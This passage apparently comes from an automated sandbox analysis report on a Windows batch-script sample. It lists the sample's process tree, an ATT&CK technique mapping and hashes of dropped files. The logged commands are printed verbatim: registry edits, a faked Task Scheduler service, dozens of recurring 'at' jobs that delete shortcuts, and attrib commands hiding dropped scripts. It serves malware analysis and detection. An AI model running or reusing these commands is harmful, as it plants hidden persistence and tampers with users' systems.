    - Modifies registry class
    PID:2920
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
    3⤵
    - Modifies registry class
    PID:2876
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2952
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:2616
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_CLASSES_ROOT\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
    3⤵
    - Modifies registry class
    PID:1240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\runonce.cmd
  2⤵
  PID:3040
- - C:\Windows\system32\sc.exe
    sc create Schedule binpath= "C:\Windows\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
    3⤵
    - Launches sc.exe
    PID:2032
- - C:\Windows\system32\sc.exe
    sc config Schedule start= auto
    3⤵
    - Launches sc.exe
    PID:1644
- - C:\Windows\system32\net.exe
    net start "Task Scheduler"
    3⤵
    PID:908
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 start "Task Scheduler"
      4⤵
      PID:1972
- - C:\Windows\system32\at.exe
    at 8:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1712
- - C:\Windows\system32\at.exe
    at 8:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:788
- - C:\Windows\system32\at.exe
    at 8:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:604
- - C:\Windows\system32\at.exe
    at 9:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:936
- - C:\Windows\system32\at.exe
    at 9:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1848
- - C:\Windows\system32\at.exe
    at 9:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:944
- - C:\Windows\system32\at.exe
    at 10:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1748
- - C:\Windows\system32\at.exe
    at 10:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1736
- - C:\Windows\system32\at.exe
    at 10:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1124
- - C:\Windows\system32\at.exe
    at 11:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2744
- - C:\Windows\system32\at.exe
    at 11:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:524
- - C:\Windows\system32\at.exe
    at 11:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2380
- - C:\Windows\system32\at.exe
    at 12:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2388
- - C:\Windows\system32\at.exe
    at 12:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2264
- - C:\Windows\system32\at.exe
    at 12:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1788
- - C:\Windows\system32\at.exe
    at 13:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2440
- - C:\Windows\system32\at.exe
    at 13:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2432
- - C:\Windows\system32\at.exe
    at 13:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1232
- - C:\Windows\system32\at.exe
    at 14:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1088
- - C:\Windows\system32\at.exe
    at 14:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1776
- - C:\Windows\system32\at.exe
    at 14:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2636
- - C:\Windows\system32\at.exe
    at 15:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:948
- - C:\Windows\system32\at.exe
    at 15:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:3008
- - C:\Windows\system32\at.exe
    at 15:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1792
- - C:\Windows\system32\at.exe
    at 16:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1740
- - C:\Windows\system32\at.exe
    at 16:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1692
- - C:\Windows\system32\at.exe
    at 16:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2724
- - C:\Windows\system32\at.exe
    at 17:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2572
- - C:\Windows\system32\at.exe
    at 17:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:844
- - C:\Windows\system32\at.exe
    at 17:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:748
- - C:\Windows\system32\at.exe
    at 18:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2952
- - C:\Windows\system32\at.exe
    at 18:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1676
- - C:\Windows\system32\at.exe
    at 18:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2752
- - C:\Windows\system32\at.exe
    at 19:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1956
- - C:\Windows\system32\at.exe
    at 19:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1744
- - C:\Windows\system32\at.exe
    at 19:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:3044
- - C:\Windows\system32\at.exe
    at 20:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1792
- - C:\Windows\system32\at.exe
    at 20:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2700
- - C:\Windows\system32\at.exe
    at 20:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2712
- - C:\Windows\system32\at.exe
    at 21:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:2680
- - C:\Windows\system32\at.exe
    at 21:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2592
- - C:\Windows\system32\at.exe
    at 21:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:844
- - C:\Windows\system32\at.exe
    at 22:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1632
- - C:\Windows\system32\at.exe
    at 22:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2108
- - C:\Windows\system32\at.exe
    at 22:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1244
- - C:\Windows\system32\at.exe
    at 23:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:928
- - C:\Windows\system32\at.exe
    at 23:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:1748
- - C:\Windows\system32\at.exe
    at 23:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:2020
- - C:\Windows\system32\at.exe
    at 00:31 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Explorer*.*"
    3⤵
    PID:2836
- - C:\Windows\system32\at.exe
    at 00:32 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Explorer*.*"
    3⤵
    PID:1368
- - C:\Windows\system32\at.exe
    at 00:30 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}"
    3⤵
    PID:1860
- - C:\Windows\system32\at.exe
    at 10:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:2864
- - C:\Windows\system32\at.exe
    at 10:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:2656
- - C:\Windows\system32\at.exe
    at 10:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:772
- - C:\Windows\system32\at.exe
    at 10:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1396
- - C:\Windows\system32\at.exe
    at 14:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1000
- - C:\Windows\system32\at.exe
    at 14:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:3048
- - C:\Windows\system32\at.exe
    at 14:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:1808
- - C:\Windows\system32\at.exe
    at 14:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:868
- - C:\Windows\system32\at.exe
    at 19:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1308
- - C:\Windows\system32\at.exe
    at 19:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:1028
- - C:\Windows\system32\at.exe
    at 19:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:1956
- - C:\Windows\system32\at.exe
    at 19:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:1744
- - C:\Windows\system32\at.exe
    at 21:33 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:3028
- - C:\Windows\system32\at.exe
    at 21:34 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Users\Admin\Application Data\Microsoft\Internet Explorer\Quick Launch\*Σ»└└*.*"
    3⤵
    PID:1496
- - C:\Windows\system32\at.exe
    at 21:35 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday C:\WINDOWS\mail\UltraEdit\is.cmd
    3⤵
    PID:1680
- - C:\Windows\system32\at.exe
    at 21:36 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c del "C:\Documents and Settings\All Users\╫└├µ\*Σ»└└*.*"
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\copy.cmd
  2⤵
  - Drops file in Program Files directory
  - Drops file in Windows directory
  PID:1740
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\fav\fav.cmd"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2760
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\Windows\360SE.vbs"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2124
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\Windows\36OSE.vbs"
    3⤵
    - Sets file to hidden
    - Views/modifies file attributes
    PID:2788
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\tool.cmd"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:2860
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\360.cmd"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:2700
- - C:\Windows\system32\attrib.exe
    attrib +r +h +s "C:\Program Files\WinWare\361.cmd"
    3⤵
    - Sets file to hidden
    - Drops file in Program Files directory
    - Views/modifies file attributes
    PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\360.cmd
  2⤵
  - Drops file in Program Files directory
  PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C .\cpa.cmd
  2⤵
  - Deletes itself
  PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C del .\runonce.cmd
  2⤵
  PID:1588

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\WinWare\360.cmd

Filesize
1KB

MD5
67240c407312315393794e9b65d1e8e5

SHA1
810b252670834678fdaa057b39e07985a029be7a

SHA256
0a29a7d11891968f5a4a6eb615e87a428d5e93c9a48908c7a1de7cf5a40acf22

SHA512
897bfb0b8b9ca3a315ff72b9c937aba50ddb88dd28ce3d8f156ccb01d008e566260e317364966fc3fe59a6f78017ad3924f32dd6d4b4a170550edc55b62bd3f2

Download Submit
C:\Program Files\WinWare\361.cmd

Filesize
567B

MD5
feb810eaa38eb0890ad2034d322e4c79

SHA1
a7c7ddd0bd405b949ddbffed364269d145ee78e4

SHA256
e346f4ed81e3e7974c4a9978789fc08737abc4c7318f31d747b1ad23ce5bf800

SHA512
f96b5e8129ab8fd4703a2e4bddf4245e9c4a64a8d69663f755386021cb8fd34a75bd0fa53b4579145bf50be2948d9ae5d0f4bdb556ae73b4cc85e6a2130f5ab9

Download Submit
C:\Program Files\WinWare\tool.cmd

Filesize
3KB

MD5
d7eece295819ac643894e11ec290fc16

SHA1
eaf976563ab1d54ddbb538846f21d80663c0482b

SHA256
00057dbc21e30cd983f4428934333acc1243bef2a7ae3e89ccfed37aaea35aef

SHA512
61602cd5b19a9f3d65c52ec8b393081949167496ec02420fe403e5ee63a3f59f29d367246af4a6ba3a6437ea46759315f6e1721fbd44f84878b548e61d261036

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
13ba8cf14bc56c5eb42a47c4c7810e8f

SHA1
2f894c530fb578badef26c1d72eb0c6f6d172b7a

SHA256
024e928d114ead53758c605d682cae72a0b18b534438f7cc2dd4232e58047d68

SHA512
ef535fed8a88569b40c028db28fac8764e19e0cad5b271e411bd54c581cc4f761738841205469960b3f147df970673f6e8a62e22af1856ae56f41ead8892a372

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ddc25af6b6f72deedd0f9e5eb0f3c745

SHA1
3848a3941ed24a3faf372a1499492c3ec103b7bd

SHA256
b61947e7962038a53333e99b9957855b460bec9fd84e7fdb61d80f544bce3db8

SHA512
4b8c0a5e4d5f21940477652ddb6b167aee75b845989c4121958df25fe100e70a81b12628a14efef3c43c194e00b40570c1a6439ee10372309fe46678c4ac2bde

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
cee6b4b5aabd933dbb6804488b7b5655

SHA1
b9688a72ddbf3c5ad3aab52a716ea5badf6a8c54

SHA256
be43ca2a80506cfd915952e9ed2e254c353d3702bc5c21b0c0057f452b6c2186

SHA512
cb84a4ae2babb1e8c02df33dd9e723fdc1f608e7338efd4c1d963b859e2061af7810ee7ebc7b4bb3023be354949b372b1877e763b295f6009d652c9767732dbe

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
fd7030164599d7b7cae6142e05a5dc4c

SHA1
b81b63024b661f4ed60f97e3b21b7f7ad59dda1c

SHA256
7c5647404507748fb0b3212d6c027f8166e4dc86e57c85acdeab34994b38b8aa

SHA512
131e86c435f76e5d1746ac5837d75683bea8c28e5280f7df3946574a270d5066581f333b7ca162c5dd6886d967e1ba372862f865a5d1f096071542a99955066d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
f8cd1070ff443e4346492241d1722848

SHA1
7ea115b534496723df1c1c97cab6351f982d40d8

SHA256
02dbe20d1d6941882165bf2435bc42950c2bfc55b73eee48e208890f8365d71b

SHA512
57143797f0afb7f6ec34e2cfadd407a70506af0d391b190b42c97e66f7d3536e029667af01915410623f865cab30a2df2abb3d1dc00cfc1e97bf4495e794b6a6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e4f59ca62616df826349ac1c54594ae1

SHA1
f64a5d92086c0c5832667665ead701dd681e7eb7

SHA256
cceac9b89b9e8dfd8b59368bfca1b4253adc41fa50b3d501feb7f5843d987162

SHA512
7cbbe78e89385304129479025c4bac8411db6bd12cbebb09ceccee3d35771e7d1fc47b060ad805819bfa697775aeb977d89cec3f78678dce82b9db258a9bf2c3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
80fc16c1282c5bcbf123c51c9c2b47df

SHA1
d0af285e0a8ee485a8976f33c8d4a5e25cf8cea5

SHA256
8db2face95ef8a9689815f3c7ef230b335e5ccd8f7ad97a0d4744a3f43a2b38b

SHA512
33e7240a531983ec2dbea6af26a94651fa9acbe1e01a903ac7a54e6ea696ff1be8d4255fc29e029132e51608224332d70d3f23f4a91b6c7a31fb55d787faa85b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d91d194dcfdbbbf0c600949b1f6d3b8e

SHA1
66007a9fe0433a048470c719820b93dd722dfbdc

SHA256
49bb4c39bda18ea9579d7ed09e9295e57d1642d58f545025731870bd0d43669c

SHA512
25dae73918b49ba77068b542a4fdb43420c2ba331153e56694a3db5288eae4d9eeee4d41393ec060494ff4d18679f15b7cedb678a9dda74b0dac648c85fb475d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e9a9192de51447e56d7c3aae76d27336

SHA1
3ba1db01fb5ed7d7d9c5d2a6e5acbf4a384c5857

SHA256
40fe2c87823b944f6859a865928c3b1423fd0fe668df4211f0af2d25826e4ee9

SHA512
48825548b4c33c999afefcdafea2ea884b73cf4737fc9c4246ec848b0a055636b3518a2d72e96ef0d51b303f334824dd0460d22d88ca03a6666ed03c9d6122d6

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabA2C8.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarA2DA.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\~DF064D907E2B2F9596.TMP

Filesize
16KB

MD5
0e81d9028e666da0a0e70ea649c2c885

SHA1
375e986e39b25bc356fac8fbd4434773f15441b8

SHA256
339724f622f5314f8fecf4849efc4bfc6bbb0dfa4805652e574e5d6d01eb4069

SHA512
02b93347f877746f9cc5dbde94900a4e25a5ef35eff649a40119daf6f69c3411a2b54aa5586084ca8262b372b14340ca16fa839e0c185970efa915825a964fb5

Download Submit
C:\Users\Admin\AppData\Local\Temp\~DFAEA0750593BFA1C9.TMP

Filesize
16KB

MD5
a779c0f4f0e5e9b2d39861eb4e68228f

SHA1
cd867fa22fc384e1a78d606c3ca28044c89d2c62

SHA256
